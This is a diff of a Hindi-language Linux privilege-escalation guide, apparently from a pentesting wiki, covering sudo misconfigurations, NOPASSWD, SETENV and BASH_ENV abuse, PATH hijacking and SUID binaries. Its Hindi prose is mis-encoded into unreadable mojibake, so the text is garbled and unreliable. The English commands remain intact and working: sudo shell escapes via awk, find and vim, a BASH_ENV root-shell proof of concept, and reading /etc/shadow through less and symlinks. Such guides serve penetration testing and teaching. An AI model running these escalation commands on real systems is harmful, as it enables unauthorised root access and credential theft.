рд╕реЗ **privileges** рд╣реИрдВ, рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХреМрди рд╕реЗ **users** рд╣реИрдВ, рдХреМрди **login** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХрд┐рдирдХреЗ рдкрд╛рд╕ **root privileges** рд╣реИрдВ: +рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдЖрдк **рдХреМрди** рд╣реИрдВ, рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреМрди рд╕реЗ **privileges** рд╣реИрдВ, рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХреМрди рд╕реЗ **users** рд╣реИрдВ, рдХреМрди **login** рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХрд┐рдирдХреЗ рдкрд╛рд╕ **root privileges** рд╣реИрдВ: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -684,21 +681,21 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -рдХреБрдЫ Linux рд╕рдВрд╕реНрдХрд░рдг рдПрдХ рдмрдЧ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдереЗ рдЬреЛ users with **UID > INT_MAX** рдХреЛ escalate privileges рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) рдФрд░ [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +рдХреБрдЫ Linux рд╕рдВрд╕реНрдХрд░рдг рдПрдХ рдмрдЧ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдереЗ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЬрд┐рдирдХрд╛ **UID > INT_MAX** рд╣реИ, рдЙрдиреНрд╣реЗрдВ escalate privileges рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**рдЗрд╕реЗ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП**: **`systemd-run -t /bin/bash`** -### рд╕рдореВрд╣ +### Groups -рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдРрд╕реЗ **рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдп** рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ root privileges рджреЗ рд╕рдХрддрд╛ рд╣реИ: +рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА **group рдХреЗ рд╕рджрд╕реНрдп** рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ root privileges рджреЗ рд╕рдХрддрд╛ рд╣реИ: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб +### Clipboard -рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб рдореЗрдВ рдХреБрдЫ рд░реЛрдЪрдХ рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ (рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ) +рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб рдореЗрдВ рдХреБрдЫ рд░реЛрдЪрдХ рдореМрдЬреВрдж рд╣реИ (рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -715,27 +712,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### рдЬреНрдЮрд╛рдд рдкрд╛рд╕рд╡рд░реНрдб -рдпрджрд┐ рдЖрдк рдкрд░реНрдпрд╛рд╡рд░рдг рдХрд╛ рдХреЛрдИ рднреА **password рдЬрд╛рдирддреЗ рд╣реИрдВ** рддреЛ рдЙрд╕реА password рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдкреНрд░рддреНрдпреЗрдХ user рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧрд┐рди** рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред +рдпрджрд┐ рдЖрдк **рдкрд░реНрдпрд╛рд╡рд░рдг рдХрд╛ рдХреЛрдИ рдкрд╛рд╕рд╡рд░реНрдб** рдЬрд╛рдирддреЗ рд╣реИрдВ рддреЛ рдЙрд╕ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред ### Su Brute -рдпрджрд┐ рдЖрдкрдХреЛ рдЬреНрдпрд╛рджрд╛ рд╢реЛрд░ рдХрд░рдиреЗ рдХреА рдкрд░рд╡рд╛рд╣ рдирд╣реАрдВ рд╣реИ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ `su` рдФрд░ `timeout` рдмрд╛рдЗрдирд░реА рдореМрдЬреВрдж рд╣реИрдВ, рддреЛ рдЖрдк [su-bruteforce](https://github.com/carlospolop/su-bruteforce) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ users рдХреЛ brute-force рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parameter рдХреЗ рд╕рд╛рде рднреА users рдкрд░ brute-force рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред +рдпрджрд┐ рдЖрдк рдмрд╣реБрдд рд╢реЛрд░ рдХрд░рдиреЗ рдХреА рдкрд░рд╡рд╛рд╣ рдирд╣реАрдВ рдХрд░рддреЗ рдФрд░ `su` рдФрд░ `timeout` binaries рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдореМрдЬреВрдж рд╣реИрдВ, рддреЛ рдЖрдк [su-bruteforce](https://github.com/carlospolop/su-bruteforce) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд░ brute-force рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parameter рдХреЗ рд╕рд╛рде рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдкрд░ brute-force рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред -## рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп $PATH рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ +## Writable PATH рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ ### $PATH -рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк $PATH рдХреЗ рдХрд┐рд╕реА рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ **рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ**, рддреЛ рдЖрдк privileges escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ тАФ writable рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рдХрд┐рд╕реА рдХрдорд╛рдВрдб рдХреЗ рдирд╛рдо рд╕реЗ рдПрдХ backdoor рдмрдирд╛рдХрд░, рдЬрд┐рд╕реЗ рдХрд┐рд╕реА рдЕрдиреНрдп user (ideally root) рджреНрд╡рд╛рд░рд╛ execute рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЬреЛ **рдЖрдкрдХреЗ writable рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рдкрд╣рд▓реЗ** $PATH рдореЗрдВ рд╕реНрдерд┐рдд рдХрд┐рд╕реА рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрддрд╛ред +рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк $PATH рдХреЗ рдХрд┐рд╕реА рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ **рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ** рддреЛ рдЖрдк рдЕрдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ by **рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ backdoor рдмрдирд╛рдХрд░** рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рдЙрд╕ рдХрд┐рд╕реА command рдХрд╛ рд╣реЛ рдЬрд┐рд╕реЗ рдХрд┐рд╕реА рдЕрд▓рдЧ user (рдЖрджрд░реНрд╢ рд░реВрдк рд╕реЗ root) рджреНрд╡рд╛рд░рд╛ execute рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЬреЛ $PATH рдореЗрдВ рдЖрдкрдХреЗ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рдкрд╣рд▓реЗ рд╕реНрдерд┐рдд рдХрд┐рд╕реА рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ **рд▓реЛрдб рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред ### SUDO and SUID -рдЖрдкрдХреЛ sudo рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдЫ command execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реЛ рд╕рдХрддреА рд╣реИ рдпрд╛ рдЙрди рдкрд░ suid bit рд╕реЗрдЯ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕реЗ рдЬрд╛рдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП: +рдЖрдкрдХреЛ рдХреБрдЫ command sudo рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓ рд╕рдХрддреА рд╣реИ рдпрд╛ рдЙрди рдкрд░ suid bit рд╕реЗрдЯ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕реЗ рдЬрд╛рдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -рдХреБрдЫ **рдЕрдирдкреЗрдХреНрд╖рд┐рдд commands рдЖрдкрдХреЛ files рдкрдврд╝рдиреЗ рдФрд░/рдпрд╛ рд▓рд┐рдЦрдиреЗ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдХрд┐рд╕реА command рдХреЛ execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВред** рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: +рдХреБрдЫ **рдЕрдирдкреЗрдХреНрд╖рд┐рдд commands рдЖрдкрдХреЛ рдлрд╛рдЗрд▓реЗрдВ рдкрдврд╝рдиреЗ рдФрд░/рдпрд╛ рд▓рд┐рдЦрдиреЗ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдХрд┐рд╕реА command рдХреЛ execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред** рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -746,37 +743,37 @@ less>! ``` ### NOPASSWD -Sudo рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдиреЗ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдХреБрдЫ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред +Sudo рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдиреЗ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдХреЛрдИ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `demo` `root` рдХреЗ рд░реВрдк рдореЗрдВ `vim` рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ, рдЕрдм root рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдПрдХ ssh key рдЬреЛрдбрд╝рдХрд░ рдпрд╛ `sh` рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗ shell рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рд░рд▓ рд╣реИред +рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `demo` `root` рдХреЗ рд░реВрдк рдореЗрдВ `vim` рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ, рдЕрдм root directory рдореЗрдВ рдПрдХ ssh key рдЬреЛрдбрд╝рдХрд░ рдпрд╛ `sh` рдХреЙрд▓ рдХрд░рдХреЗ shell рдкрд╛рдирд╛ рдмрд╣реБрдд рдЖрд╕рд╛рди рд╣реИред ``` sudo vim -c '!sh' ``` ### SETENV -рдпрд╣ рдирд┐рд░реНрджреЗрд╢ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХрд┐рд╕реА рдЪреАрдЬрд╝ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╕рдордп **environment variable рд╕реЗрдЯ рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: +рдпрд╣ рдирд┐рд░реНрджреЗрд╢ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХрд┐рд╕реА рдЪреАрдЬрд╝ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╕рдордп **set an environment variable** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -рдпрд╣ рдЙрджрд╛рд╣рд░рдг, **HTB machine Admirer рдкрд░ рдЖрдзрд╛рд░рд┐рдд**, **рдЕрд╕реБрд░рдХреНрд╖рд┐рдд** рдерд╛ **PYTHONPATH hijacking** рдХреЗ рд▓рд┐рдП рддрд╛рдХрд┐ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рддреЗ рд╕рдордп рдХрд┐рд╕реА рдордирдорд╛рдирд╛ python library рдХреЛ load рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ: +рдпрд╣ рдЙрджрд╛рд╣рд░рдг, **HTB machine Admirer рдкрд░ рдЖрдзрд╛рд░рд┐рдд**, **рдЕрд╕реБрд░рдХреНрд╖рд┐рдд** рдерд╛ **PYTHONPATH hijacking** рдХреЗ рдкреНрд░рддрд┐, рддрд╛рдХрд┐ script рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рддреЗ рд╕рдордп рдХрд┐рд╕реА arbitrary python library рдХреЛ load рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV sudo env_keep рдХреЗ рдЬрд░рд┐рдП рд╕рдВрд░рдХреНрд╖рд┐рдд тЖТ root shell +### BASH_ENV sudo env_keep рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд тЖТ root shell -рдпрджрд┐ sudoers `BASH_ENV` рдХреЛ рд╕рдВрд░рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `Defaults env_keep+="ENV BASH_ENV"`), рддреЛ рдЖрдк Bash рдХреЗ non-interactive startup рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреБрдордд рдХрдорд╛рдВрдб рдХреЛ invoke рдХрд░рддреЗ рд╕рдордп arbitrary code рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ sudoers `BASH_ENV` рдХреЛ рд╕рдВрд░рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ (рдЙрджрд╛., `Defaults env_keep+="ENV BASH_ENV"`), рддреЛ рдЖрдк Bash рдХреЗ non-interactive startup рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рдЕрдиреБрдордд рдХрдорд╛рдВрдб рдХреЛ invoke рдХрд░рддреЗ рд╕рдордп arbitrary code рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред -- рдХреНрдпреЛрдВ рдпрд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ: non-interactive shells рдХреЗ рд▓рд┐рдП, Bash `$BASH_ENV` рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИ рдФрд░ target script рдХреЛ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ source рдХрд░рддрд╛ рд╣реИред рдХрдИ sudo рдирд┐рдпрдо рдХрд┐рд╕реА script рдпрд╛ shell wrapper рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рдпрджрд┐ sudo рджреНрд╡рд╛рд░рд╛ `BASH_ENV` рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ, рддреЛ рдЖрдкрдХреА рдлрд╝рд╛рдЗрд▓ root privileges рдХреЗ рд╕рд╛рде source рд╣реЛрдЧреАред +- рдХреНрдпреЛрдВ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ: non-interactive shells рдХреЗ рд▓рд┐рдП, Bash `$BASH_ENV` рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИ рдФрд░ рд▓рдХреНрд╖реНрдп рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ source рдХрд░рддрд╛ рд╣реИред рдХрдИ sudo рдирд┐рдпрдо рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╛ shell wrapper рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рдпрджрд┐ `BASH_ENV` sudo рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ, рддреЛ рдЖрдкрдХреА рдлрд╝рд╛рдЗрд▓ root privileges рдХреЗ рд╕рд╛рде source рдХреА рдЬрд╛рддреА рд╣реИред - рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ: -- рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ sudo рдирд┐рдпрдо рдЬреЛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рд░рди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (рдХреЛрдИ рднреА target рдЬреЛ non-interactively `/bin/bash` рдХреЛ invoke рдХрд░реЗ, рдпрд╛ рдХреЛрдИ рднреА bash script)ред -- `BASH_ENV` `env_keep` рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП `sudo -l`)ред +- рдЖрдкрдХреЗ рдкрд╛рд╕ рдЪрд▓рд╛рдиреЗ рдпреЛрдЧреНрдп sudo rule (рдХреЛрдИ рднреА target рдЬреЛ `/bin/bash` рдХреЛ non-interactively invoke рдХрд░рддрд╛ рд╣реИ, рдпрд╛ рдХреЛрдИ bash script)ред +- `BASH_ENV` `env_keep` рдореЗрдВ рдореМрдЬреВрдж рд╣реЛ (рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП `sudo -l`)ред - PoC: ```bash @@ -788,14 +785,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ: -- env_keep рд╕реЗ `BASH_ENV` (рдФрд░ `ENV`) рд╣рдЯрд╛рдПрдБ, `env_reset` рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред +- Hardening: +- `BASH_ENV` (рдФрд░ `ENV`) рдХреЛ `env_keep` рд╕реЗ рд╣рдЯрд╛рдПрдВ, `env_reset` рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред - sudo-allowed commands рдХреЗ рд▓рд┐рдП shell wrappers рд╕реЗ рдмрдЪреЗрдВ; minimal binaries рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред -- рдЬрдм preserved env vars рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдПрдБ рддреЛ sudo I/O logging рдФрд░ alerting рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред +- рдЬрдм preserved env vars рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реЛ рддреЛ sudo I/O logging рдФрд░ alerting рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред -### Sudo рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ paths +### Sudo execution bypassing paths -**Jump** рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╛ **symlinks** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** рдЕрдиреНрдп рдлрд╛рдЗрд▓реЗрдВ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╛ **symlinks** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -805,7 +802,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -рдпрджрд┐ рдПрдХ **wildcard** рдХрд╛ рдЙрдкрдпреЛрдЧ (\*) рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ рдФрд░ рднреА рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ: +рдпрджрд┐ рдПрдХ **wildcard** (\*) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдФрд░ рднреА рдЖрд╕рд╛рди рд╣реИ: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files @@ -814,41 +811,41 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Sudo command/SUID binary рдмрд┐рдирд╛ command path рдХреЗ -рдпрджрд┐ рдХрд┐рд╕реА рдПрдХ command рдХреЛ **sudo permission** рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ **path рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ**: _hacker10 ALL= (root) less_ рддреЛ рдЖрдк рдЗрд╕реЗ PATH variable рдХреЛ рдмрджрд▓рдХрд░ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ **sudo permission** рдХрд┐рд╕реА single command рдХреЛ **path рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдП рдмрд┐рдирд╛** рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: _hacker10 ALL= (root) less_ рддреЛ рдЖрдк рдЗрд╕реЗ PATH variable рдмрджрд▓рдХрд░ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -рдпрд╣ рддрдХрдиреАрдХ рддрдм рднреА рдЗрд╕реНрддреЗрдорд╛рд▓ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдпрджрд┐ рдПрдХ **suid** рдмрд╛рдЗрдирд░реА **рдХрд┐рд╕реА рдЕрдиреНрдп рдХрдорд╛рдВрдб рдХреЛ рдмрд┐рдирд╛ рдкрд╛рде рдмрддрд╛рдП рдЪрд▓рд╛рддреА рд╣реИ (рд╣рдореЗрд╢рд╛ рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП** _**strings**_ **рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдЕрдЬреАрдм SUID рдмрд╛рдЗрдирд░реА рдХреА рд╕рд╛рдордЧреНрд░реА)**ред +рдпрд╣ рддрдХрдиреАрдХ рддрдм рднреА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдпрджрд┐ рдХреЛрдИ **suid** рдмрд╛рдЗрдирд░реА **рдХрд┐рд╕реА рдЕрдиреНрдп рдХрдорд╛рдВрдб рдХреЛ рдЙрд╕рдХрд╛ рдкрд╛рде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдП рдмрд┐рдирд╛ execute рдХрд░рддреА рд╣реИ (рд╣рдореЗрд╢рд╛ _**strings**_ рд╕реЗ рдХрд┐рд╕реА рдЕрдЬреАрдм SUID рдмрд╛рдЗрдирд░реА рдХреА рд╕рд╛рдордЧреНрд░реА рдЬрд╛рдВрдЪреЗрдВ)**ред [Payload examples to execute.](payloads-to-execute.md) -### SUID рдмрд╛рдЗрдирд░реА рдХрдорд╛рдВрдб рдкрд╛рде рдХреЗ рд╕рд╛рде +### SUID рдмрд╛рдЗрдирд░реА рдЬрд┐рд╕рдореЗрдВ рдХрдорд╛рдВрдб рдХрд╛ 